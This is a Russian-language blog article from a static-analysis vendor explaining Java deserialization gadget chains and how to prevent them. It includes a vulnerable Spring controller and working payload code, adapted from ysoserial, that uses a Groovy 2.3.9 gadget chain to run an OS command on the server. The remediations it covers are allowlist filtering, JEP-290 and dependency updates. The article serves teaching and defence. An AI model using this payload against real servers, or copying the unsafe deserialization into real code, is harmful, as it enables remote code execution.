В этой статье мы узнаем, что такое chains of gadget, и рассмотрим на примерах (с картинками), как неаккуратная десериализация через нативные Java механизмы может привести к удалённому выполнению кода.

Введение

В первую очередь хочу коротко рассказать про то, как я узнал про существование атаки chains of gadget.

Я являюсь сотрудником Java-отдела в компании PVS-Studio. Одна из задач нашего отдела — разработка новых диагностик. И во время выбора диагностического правила достаточно много времени уходит на теоретическое исследование. Нужно максимально широко и полно разобраться в тех проблемах, на которые диагностика впоследствии будет указывать.

Поскольку на момент написания статьи Java-анализатор наполнялся SAST-правилами, идеи для диагностик черпались в том числе из OWASP Top Ten 2021. В рамках категории A08 — Software and Data Integrity Failures мы обратили внимание на CWE-502 Deserialization of Untrusted Data.

CWE?

Common Weakness Enumeration (CWE) — поддерживаемая и развиваемая сообществом система классификации недостатков безопасности. CWE выступает в качестве общего языка, позволяющего описывать (а как следствие — предотвращать) недостатки безопасности в программном и аппаратном обеспечении.

Подробнее в терминологии.

В этой CWE рассказывалось про то, к каким проблемам может привести десериализация недостоверных данных. Одной из них является gadget chain или chains of gadget — атака, позволяющая осуществлять RCE относительно атакуемого.

Погрузившись в её исследование, я понял, что она достаточно интересная, чтобы про неё рассказать. Однако для её понимания необходимо понимать основу сериализации в Java. В этом может помочь документация и статьи на подобную тематику (моя в том числе).

Итак, давайте приступим.

Что это за атака?

Chains of gadget, gadget chain или цепочка гаджетов — это цепочка вызовов методов, в итоге приводящая к осуществлению запланированного злоумышленником эксплойта. В контексте десериализации — это создание одного или нескольких уязвимых десериализуемых объектов с небезопасной внутренней конфигурацией. В момент, когда такой объект будет создаваться или использоваться, его небезопасная внутренняя конфигурация приведёт к осуществлению запланированных злоумышленником действий.

Если разобрать определение на части, то:

  • Гаджет — это десериализуемый объект, чьи внутренние свойства и методы используются для воспроизведения эксплойта.

  • Цепочка — связка вызовов методов у объектов "гаджетов".

Определения хоть и точные, но достаточно абстрактные. Более полное понимание проблемы и того, что подразумевается под "небезопасной внутренней конфигурацией" и "связкой вызовов методов" придёт после рассмотрения примеров. Мы рассмотрим цепочку гаджетов, приводящую к RCE.

Как и с любой другой уязвимостью, для осуществления эксплойта посредством цепочки гаджетов необходимо соблюсти определённые условия. В нашем случае, они следующие:

  1. Приложение небезопасно десериализует встроенными Java-механизмами данные, приходящие извне;

  2. Classpath проекта содержит уязвимые классы. Что делает их уязвимыми, будет понятно далее. Важно понимать, что они могут быть не только самописными, но и быть в проекте из используемых зависимостей. Именно такой сценарий воспроизведения является наиболее вероятным.

Если вы в теме впервые, то вы, возможно для вас ситуация выглядит как "теории много, понятного мало". Пример поможет это исправить.

Et tu, Groovy?

Для начала давайте разберёмся с условиями.

Воспроизводил на 8 Java, поскольку на ней это было сделать проще всего.

В качестве зависимости с уязвимыми классами в classpath'е рассмотрим groovy версии 2.3.9. Можно и с некоторыми другими библиотеками, но, как по мне, именно этот пример самый простой для понимания и в то же время интересный.

Теперь десериализация недостоверных данных. Код на стороне сервера:

@RestController
public class ExampleController {

  @PostMapping("/deserialize")
  public ResponseEntity<String> getHandle(
    @RequestParam("data") String encodedData
  ) {
    byte[] data = java.util.Base64.getDecoder()
                                  .decode(encodedData);

    try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
         ObjectInputStream ois = new ObjectInputStream(bais)) {

      Object obj = ois.readObject();
      ....
    }
  }
  ....
}

Простой контроллер, принимающий строку и декодирующий её в байты, которые будут десериализовываться.

Это что касается атакуемого сервера.

Нам же, как "злоумышленникам", нужно создать, сериализовать и отправить на сервер объект, который спровоцирует RCE. Создание этого объекта будет выглядеть так:

public static InvocationHandler generatePayload(
  String command
) .... {
  InvocationHandler clsHandler = new ConvertedClosure(
    new MethodClosure(command, "execute"), 
    "entrySet"
  );
  Map<?, ?> proxiedmap = (Map<?, ?>) 
                          Proxy.newProxyInstance(
                              ConcurrentHashMap.class.getClassLoader(), 
                              new Class [] {Map.class}, 
                              clsHandler
                          );

  String 
    annObjectName = "sun.reflect.annotation.AnnotationInvocationHandler";
  Constructor<?> const = Class.forName(annObjectName)
                              .getDeclaredConstructors()[0];
  const.setAccessible(true);

  return (InvocationHandler) const.newInstance(
    Override.class, 
    proxiedmap
  );
}

Код может показаться достаточно нетривиальным, но мы сейчас всё разберём.

Первая строка метода:

InvocationHandler clsHandler = new ConvertedClosure(                          
  new MethodClosure(command, "execute"), 
  "entrySet"
);

Мы создаём ConvertedClosure, в который помещаем MethodClosure.

Откуда оно взялось? Это классы из подключённой нами зависимости Groovy версии 2.3.9.

  • MethodClosure — groovy-объект, представляющий собой специальный экземпляр "замыканий" из groovy. Что представляют собой "замыкания" — тема отдельная. Нас же здесь интересует, что первый параметр — это объект, на котором метод вызывается, а второй параметр — это имя вызываемого на нём метода. В Java у строки нет метода execute. А в groovy есть. В groovy вызов метода execute на строке осуществляет вызов команды ОС.

  • ConvertedClosure — groovy-объект, представляющий собой адаптер, приводящий замыкание к реализации Java-интерфейса InvocationHandler. Нам важно, что первым параметром мы передаём ему Closure, который будет исполняться, а вторым — имя того метода, который этот Closure будет перехватывать в рамках реализуемого интерфейса.

В данном случае мы будем использовать ConvertedClosure как реализацию интерфейса Map, чтобы при вызове entrySet исполнялся наш MethodClosure.

Вторая строка:

Map<?, ?> proxiedmap = (Map<?, ?>) 
                          Proxy.newProxyInstance(
                              ConcurrentHashMap.class.getClassLoader(), 
                              new Class [] {Map.class}, 
                              clsHandler
                          );

Здесь мы создаём проксированный экземпляр Map. Обратите внимание: третьим параметром в newProxyInstance мы передаём созданный нами в первой строчке clsHandler.

Proxy?

Упрощённо — сущность, которая перехватывает вызовы методов к некоторому объекту и решает, что с ними делать (заблокировать, совершить дополнительное действие, заменить логику полностью и т.п.). В Java это реализовано на уровне динамического прокси в самом языке.

Более подробно про Proxy можно узнать, ознакомившись с соответствующим паттерном.

Итог на данный момент:

  • мы создали специальный проксированный экземпляр Map;

  • в рамках него, метод entrySet имеет собственную реализацию, представленную ConvertedClosure;

  • эта реализация — объект MethodClosure, вызывающий переданную строку как ОС команду.

Если изобразить схематично, то:

Надеюсь, теперь стало чуть-чуть понятнее, что в этих двух строках происходит.

Нам осталось спровоцировать вызов метода entrySet на созданной Map в атакуемой системе. И хорошая новость в том, что мы можем это сделать! Как?

Внимание на оставшиеся строчки:

String annObjectName = "sun.reflect.annotation.AnnotationInvocationHandler";
Constructor<?> const = Class.forName(annObjectName)
                            .getDeclaredConstructors()[0];
const.setAccessible(true);

return (InvocationHandler) const.newInstance(
  Override.class, 
  proxiedmap
);

Мы получаем конструктор класса AnnotationInvocationHandler, делаем его доступным и создаём экземпляр. В конструктор мы передаём класс аннотации и нашу проксированную Map. Как это поможет спровоцировать вызов метода entrySet при десериализации?

Заглянем в AnnotationInvocationHandler:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
  private final Map<String, Object> memberValues;
  
  AnnotationInvocationHandler(Class<? extends Annotation> type, 
                              Map<String, Object> memberValues) {
    ....
    this.type = type;
    this.memberValues = memberValues;
  }

  private void readObject(java.io.ObjectInputStream s) .... {
    ObjectInputStream.GetField fields = s.readFields();

    @SuppressWarnings("unchecked")
    Class<? extends Annotation> t = (Class<? extends Annotation>)
                                      fields.get("type", null);
    @SuppressWarnings("unchecked")
    Map<String, Object> streamVals = (Map<String, Object>)
                                      fields.get("memberValues", null);
    ....
    for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
      ....
    }
    ....
  }
}

Это выжимка всего необходимого. Нас здесь интересуют следующие моменты:

  • класс AnnotationInvocationHandler поддерживает сериализацию;

  • через его конструктор, разблокированный рефлексией, мы создаём объект и записываем в поле memberValues проксированную Map;

  • когда AnnotationInvocationHandler придёт на сервер для десериализации, в методе readObject поле memberValues восстановится из потока байт, и на нём вызовется метод entrySet.

То есть на нашей Map при десериализации экземпляра AnnotationInvocationHandler на сервере автоматически вызовется метод entrySet? Да.

Конструирование эксплойта готово. Сериализуем на стороне клиента то, что создал метод generatePayload и отправляем на сервер:

String data = new String(
  Base64.getEncoder().encode(serialize(generatePayload("notepad.exe"))), 
  StandardCharsets.UTF_8
);
....
form.add("data", data);
HttpEntity<MultiValueMap<String, String>> request = new HttpEntity<>(
                                                          form, 
                                                          headers
                                                        );
....
String response = rest.postForObject(url, request, String.class);

Вот как наша цепочка будет выглядеть схематично:

Именно это и произойдёт на сервере, когда к нам придут сериализованные данные. Бум, и блокнот на сервере открыт.

Что делает вышерассмотренные классы уязвимыми?

Здесь хочу всё подытожить. Что нам позволило осуществить уязвимость?

  1. Тот факт, что в groovy есть поддерживающий сериализацию класс MethodClosure, позволяющий выполнять ОС команды.

  2. Тот факт, что в groovy есть поддерживающий сериализацию класс ConvertedClosure. Во-первых, он исполняет переданный ему MethodClosure; во-вторых, позволяет создать проксированный экземпляр любого Java-интерфейса.

  3. Тот факт, что в Java есть поддерживающий сериализацию класс AnnotationInvocationHandler, обращающийся к уязвимому объекту в readObject.

  4. Ну и, конечно, десериализация недостоверных данных сервером.

Создав из них "матрёшку", мы воспроизвели RCE.

То есть возможность создания подобной "матрёшки" и есть главная проблема. Когда метод readObject обращается к какому-либо объекту, а в нём происходит обращение к другому объекту и т.д., нужно быть уверенным, что ни одна из матрёшек не может привести к воспроизведению эксплойта.

А откуда этот пример?

Проблема с эксплуатацией проблем нативной сериализации в Java была обнаружена ещё давно. Разные энтузиасты составили набор "полезных нагрузок", эксплуатирующих цепочки гаджетов в рамках разных популярных библиотек (в определённых версиях) и создали утилиту ysoserial, которая подобные объекты в сериализованной форме генерирует. Её очень удобно использовать для ознакомления с темой, и чтобы посмотреть и разобрать всё самому. Ну и, конечно, для проверки, не уязвимо ли тестируемое приложение к подобным проблемам (естественно, с позволения автора; эксплуатировать подобные вещи без согласия автора незаконно и нехорошо).

И пример выше — как раз оттуда (самую малость адаптирован).

Если тема заинтересовала, рекомендую ознакомиться. Для справки: в утилите представлены payload'ы на основе следующих как минимум вот этих библиотек в определённых версиях:

  • AspectJWeaver;

  • Apache CommonsCollections (1-7);

  • Groovy1;

  • Hibernate (1-2).

Как этого не допустить?

Поскольку выше я говорил, что о проблеме известно достаточно давно, способы её избежать уже есть. Не даром сейчас проблемы эксплуатируются только на определённых версиях и библиотек, и Java. Что создатели конкретных библиотек, что непосредственно разработчики Java в новых версиях разрушают существующие цепочки и не допускают возникновения новых.

К примеру, рассмотренный эксплойт работает на 8 и 11, но уже в 17 осуществить его без дополнительных манипуляций с настройками будет весьма проблемно. Со стороны Java вводятся ограничения на создание объектов, которые могут участвовать в цепочках. И если брать в рассмотрение апдейт версии groovy — этот эксплойт перестаёт работать с версии 2.4.4 из-за ограничений на десериализацию MethodClosure.

В общем, ответ на вопрос "как этого не допустить?" в контексте chains of gadget будет весьма комплексным:

  1. Не использовать нативную Java-сериализацию (там, где этого можно избежать). Зачастую сериализация используется в контексте передачи DTO-объектов. В таком случае проще и удобнее передавать данные в .json формате.

  2. Если нативная Java-сериализация неизбежна, используйте фильтры. При десериализации, до восстановления объекта, нужно обязательно смотреть, находится ли объект в перечне допустимых для восстановления. После перечисления всех вариантов покажу, как это может выглядеть.

  3. Выше мы рассмотрели, как подобная уязвимость выглядит. Даже если вы не используете уязвимые библиотеки, очень важно понимать суть этой уязвимости, чтобы самому не создать уязвимую библиотеку. Для этого необходимо проследить, что в классе, используемом для десериализации, нет использования потенциально опасной логики, способной воспроизвести эксплойт.

  4. Необходимо удалять неиспользуемые зависимости. Будет невероятно обидно, если они послужат причиной воспроизведения уязвимости (не только вышерассмотренной).

  5. Использовать более актуальные и безопасные версии зависимостей. В нашем примере достаточно поднять версию до самой актуальной. Это позволит не допустить воспроизведения эксплойта.

  6. Приложение должно проходить всестороннее тестирование. В нашем случае, если представить, что мы говорим про приложение в эксплуатации, нам бы мог помочь как динамический анализ, так и статический. В случае с динамическим подобный кейс мог бы всплыть при тестировании на проникновение. Про статический анализ будет пару слов ниже.

Статический анализ и фильтры

Выше я сказал, что до восстановления объекта нужно обязательно смотреть, находится ли он в перечне допустимых для десериализации. Как это может выглядеть?

По умолчанию для десериализации используется ObjectInputStream. У него есть метод resolveClass, который на основе потока данных, что пришёл ему как параметр, загружает класс по его имени. Естественно, он вызывается до того, как состояние объекта начинает восстанавливаться.

Тут можем в игру вступить мы. Что нам мешает унаследоваться от ObjectInputStream и смотреть в методе resolveClass, что за класс нам поступает на десериализацию? Правильно — ничего. Как это может выглядеть:

public class ObjectInputStreamWithClassCheck extends ObjectInputStream {
  public final static List<String> ALLOWED_CLASSES = Arrays.asList(
        User.class.getName()
  );

  public ObjectInputStreamWithClassCheck(InputStream in) throws .... {
    super(in);
  }

  @Override
  protected Class<?> resolveClass(ObjectStreamClass desc) throws .... {
    if (!ALLOWED_CLASSES.contains(desc.getName())) {
      throw new NotSerializableException(
                   "Class is not available for deserialization");
    }

    return super.resolveClass(desc);
  }
}

В этом случае, если нам придёт тот объект, что мы не ожидаем, мы столкнёмся с NotSerializableException ещё до того, как объект будет восстановлен. Иначе объект десериализуется. Например:

public static Object deserialize(ObjectInputStream taintData) throws .... {
  ObjectInputStream ois = new ObjectInputStreamWithClassCheck(taintData);
  Object obj = ois.readObject();
  ois.close();
  return obj;
}

В этом примере, если что-то кроме объекта User поступит на десериализацию, мы столкнёмся с исключением. Так что, если вы уверены, что восстанавливаемый объект не провоцирует воспроизведение chains of gadget — этот вариант может быть для вас удобным.

Начиная с Java 9, подобные фильтры являются частью языка. Если интересно, можете ознакомиться с JEP-290, который это нововведение в язык привнёс.

В заголовке сказано про использование статического анализатора. Он что, умеет о таком сообщать? И да, и нет.

Точно сказать, возможно ли в том или ином коде воспроизвести эту уязвимость, он не сможет. Однако статический анализатор может подсказать, что для десериализации используются данные извне, и на уровне InputStream'a никакой фильтрации не происходит. К примеру, у нас в Java-анализаторе есть диагностика V5333, помогающая находить подобные случаи.

Как это выглядит?

@RestController
public class ExampleController {

  @PostMapping("/deserialize")
  public ResponseEntity<String> getHandle(@RequestParam("data") 
                                          String encodedData) {
    byte[] data = java.util.Base64.getDecoder()
                                  .decode(encodedData);

    try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
         ObjectInputStream ois = new ObjectInputStream(bais)) {

      Object obj = ois.readObject();
      ....
    }
  }
  ....
}

Сообщение PVS-Studio: V5333 Possible insecure deserialization vulnerability. Potentially tainted data in the 'bais' variable is used to deserialize an object. ExampleController.java

Анализатор PVS-Studio видит, что данные для десериализации пришли из внешнего источника, поступившего в контроллер запроса. После этого их десериализовали через ObjectInputStream. Если вместо ObjectInputStream использовать класс с проверкой типов при десериализации (например, рассмотренный выше ObjectInputStreamWithClassCheck), то срабатывания не произойдёт, так как удастся избежать проблемы с chains of gadget. Если, конечно, белый список составлен грамотно.

Ещё в контексте безопасной десериализации не могу не упомянуть про OWASP Cheat Sheet. Ресурс представляет собой набор полезных советов и практик, помогающих избежать проблем с различными уязвимостями. Перечень достаточно большой, и советы, касающиеся десериализации, там тоже есть, причём про Java отдельный топик. Крайне рекомендую ознакомиться.

Прощание

Мы с вами рассмотрели один из вариантов уязвимости, завязанной на небезопасном использовании нативной десериализации в Java. Из всего, что озвучено выше, напрашивается один глобальный вывод: с данными, пришедшими извне, необходимо быть очень осторожными.

Неаккуратная работа с тем, что пришло извне, может повлечь за собой максимально неприятные последствия. Чтобы не допустить их, важно понимать контекст работы с этими данными. Ну, и придерживаться концепции всестороннего тестирования при разработке своего продукта, чтобы не допускать подобных проблем.

К слову, ещё про запуск блокнота я рассказывал в этой статье. В ней мы разбирали, что такое OS Command Injection, и обозревали новую диагностику Java-анализатора.

На этом, собственно, всё. Если хотите поделиться своим мнением, очень будем рады вам в комментариях.

Если вы никогда не пробовали использовать статический анализатор в рамках своего продукта или находитесь в поиске, можете попробовать PVS-Studio. Анализатор работает с языками C, C++, C# и, как вы могли заметить, с Java.

До скорых встреч!

Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Vladislav Bogdanov. Gadget chains in Java: how unsafe deserialization leads to RCE?.

Комментарии (0)